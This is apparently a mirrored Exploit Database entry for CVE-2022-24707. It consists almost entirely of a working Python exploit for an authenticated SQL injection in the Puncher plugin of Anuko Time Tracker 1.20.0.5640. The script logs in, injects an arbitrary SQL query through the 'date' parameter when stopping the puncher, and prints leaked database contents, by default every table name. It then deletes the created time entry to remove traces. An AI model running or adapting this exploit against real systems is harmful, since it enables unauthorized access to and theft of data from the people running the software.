Anuko Time Tracker – SQLi (Authenticated)

• Exploit Database
• 14 阅读

• 作者： Altelus
  日期： 2022-05-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50915/

• # Exploit Title: Anuko Time Tracker - SQLi (Authenticated)
  # Date: 2022-05-03
  # Exploit Author: Altelus
  # Vendor Homepage: https://www.anuko.com/
  # Software Link: https://github.com/anuko/timetracker/tree/0924ef499c2b0833a20c2d180b04fa70c6484b6d
  # Version: Anuko Time Tracker 1.20.0.5640
  # Tested on: Linux
  # CVE : CVE-2022-24707
  
  # An authenticated user can exploit an SQL Injection vulnerability on the Puncher plugin if its enabled.
  # User has to start the puncher and stop it but upon stopping an additional parameter 'date' must be passed.
  # The 'date' parameter is then injected with SQL payload for leaking database contents.
  
  
  from time import time
  import requests
  import argparse
  import re
  from bs4 import BeautifulSoup
  from datetime import datetime, timedelta
  
  
  
  
  def get_puncher_page():
  
  punch_txt = r_client.get(host + "/puncher.php").text
  
  if "Feature is disabled" in punch_txt:
  print("[-] Puncher feature is disabled.")
  exit(0)
  
  print("[+] Puncher feature is enabled. Picking a project...")
  
  soup = BeautifulSoup(punch_txt, features="lxml")
  time_record_form = soup.find("select", {"name" : "project", "id" : "project"})
  
  project_list = time_record_form.findAll("option")
  
  if len(project_list) <= 1:
  print("[-] No project to choose from")
  exit(0)
  
  f_proj = project_list[1]
  
  print("[*] Picking the first project in the option: [{} - {}]".format(f_proj['value'], f_proj.text))
  
  return f_proj['value']
  
  
  def login(username, password):
  
  global r_client
  
  data = {
  "login" : username,
  "password" : password,
  "btn_login" : "Login",
  }
  
  
  login_txt = r_client.post(host + "/login.php", data=data).text
  if "Incorrect" in login_txt:
  print("[-] Failed to login. Credentials are not correct.")
  exit(0)
  
  print("[+] Login successful!")
  
  
  def start_puncher(project_id):
  
  global r_client
  
  data = {
  "project": project_id,
  "btn_start": "Start",
  "browser_today" : "",
  "browser_time" : "04:00",
  "date": "{}-{}-{}".format(date.year, date.month, date.day)
  }
  
  
  headers = {
  "Referer" : host + "/puncher.php"
  }
  
  start_p = r_client.post(host + "/puncher.php", data=data, headers=headers).text
  
  if "Uncompleted entry already" in start_p:
  print("[-] A running puncher entry is seen. Exiting")
  exit(0)
  
  print("[*] Puncher started. Getting id added...")
  
  puncher_p = r_client.get(host + "/puncher.php?date={}-{}-{}".format(date.year, date.month, date.day)).text
  
  time_edit_ids = re.findall("time_edit.php\?id=\d+",puncher_p)
  time_edit_ids.sort()
  
  latest_id = time_edit_ids[-1].split("=")[1]
  
  return latest_id
  
  
  def stop_puncher_sqli(project_id, sqli=""):
  
  get_all_tables = "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()"
  
  if sqli == "":
  sqli = get_all_tables
  
  new_date = date+timedelta(minutes=10)
  
  data = {
  "btn_stop": "Stop",
  "browser_today" : "",
  "browser_time" : "04:10",
  "date": "{}-{}-{}', comment=(({})), date='{}-{}-{}".format(date.year, date.month, date.day, sqli, date.year, date.month, date.day)
  }
  
  headers = {
  "Referer" : host + "/puncher.php"
  }
  
  stop_p = r_client.post(host + "/puncher.php", data=data, headers=headers,allow_redirects=False).text
  
  print("[*] Puncher stopped")
  
  def get_puncher_result(puncher_id):
  
  time_edit_p = r_client.get(host + "/time_edit.php?id={}".format(puncher_id)).text
  
  soup = BeautifulSoup(time_edit_p, features="lxml")
  note_content = soup.find("textarea", {"name" : "note", "id" : "note"})
  
  print("[+] Leaked: {}".format(note_content.text))
  
  
  def delete_puncher_entry(puncher_id):
  
  data = {
  "delete_button" : "Delete",
  "id" : puncher_id
  }
  
  headers = {
  "Referer" : "http://10.0.2.15/time_delete.php?id={}".format(puncher_id)
  }
  
  del_p = r_client.post(host + "/time_delete.php?id={}".format(puncher_id), data=data, headers=headers)
  
  print("[*] Puncher {} deleted".format(puncher_id))
  
  
  parser = argparse.ArgumentParser()
  
  parser.add_argument('--username', required=True, help="Anuko Timetracker username")
  parser.add_argument('--password', required=True, help="Anuko Timetracker password")
  parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
  parser.add_argument('--sqli', required=False, help="SQL query to run. Defaults to getting all tables")
  args = parser.parse_args()
  
  r_client = requests.Session()
  host = args.host
  date = datetime.now()
  
  username = args.username
  password = args.password
  
  login(username, password)
  proj_id = get_puncher_page()
  puncher_id = start_puncher(proj_id)
  
  sqli=""
  
  if args.sqli != None:
  sqli = args.sqli
  
  stop_puncher_sqli(proj_id, sqli=sqli)
  get_puncher_result(puncher_id)
  delete_puncher_entry(puncher_id)